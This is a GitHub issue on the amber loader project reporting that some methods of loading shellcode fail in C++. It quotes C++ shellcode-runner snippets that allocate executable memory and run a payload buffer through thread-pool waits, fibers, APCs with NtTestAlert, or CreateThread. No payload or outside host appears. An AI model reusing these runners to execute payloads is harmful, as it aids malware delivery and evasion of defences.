Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Partial method load fails in c++ #21

Open
zhihuba opened this issue Feb 14, 2022 · 1 comment
Open

Partial method load fails in c++ #21

zhihuba opened this issue Feb 14, 2022 · 1 comment

Comments

@zhihuba
Copy link

zhihuba commented Feb 14, 2022

  • amber version:3.1
  • os:Win10
//The following is the test code
//successful call !!
 ////CreateThreadpoolWait
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    LPVOID shellcodeAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(shellcodeAddress, buf, shellSize);
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE);
    return 0;

    ////fiber
    PVOID mainFiber = ConvertThreadToFiber(NULL);
    PVOID shellcodeLocation = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellcodeLocation, buf, shellSize);
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
    SwitchToFiber(shellcodeFiber);
    return 0;
	

    ////APC & NtTestAlert Code
    typedef VOID(NTAPI* pNtTestAlert)(VOID);
    pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
    LPVOID lpBaseAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(lpBaseAddress, buf, shellSize);
    QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
    NtTestAlert();
    return 0;
//call failed!!
 ////基础调用
    DWORD oldprotect = 0;
    LPVOID  base_addr = NULL;
    //  申请一块buf_len长度大小的空间,RW权限,不要开rwx,PAGE_EXECUTE_READWRITE 
    base_addr = VirtualAlloc(0, shellSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 复制shellcode到新的空间,这个函数比较罕见,用memcpy也可以呀
    RtlMoveMemory(base_addr, buf, shellSize);
    // 修改为执行RX权限
    VirtualProtect(base_addr, shellSize, PAGE_EXECUTE_READ, &oldprotect);
    // 当前进程创建线程执行shellcode
    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    // 等待线程返回值
    WaitForSingleObject(ct, -1);
    // 释放内存
    free(base_addr);

Use multiple method tests to draw conclusions

  • The failure seems to be related to CreateThread*, CreateRemote*, CreateProcess* etc. Create process, thread related
  • The strange thing is that the shellcode generated by donut can be loaded and executed normally.
  • Whether it is an error caused by c++ during coercion??
  • https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736 Do not declare this callback function with a void return type and cast the function pointer to LPTHREAD_START_ROUTINE when creating the thread. Code that does this is common, but it can crash on 64-bit Windows.
@EgeBalci
Copy link
Owner

EgeBalci commented Jul 3, 2023

Is this issue still exists with the latest version? There are some major changes done on the loader which may fixed this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants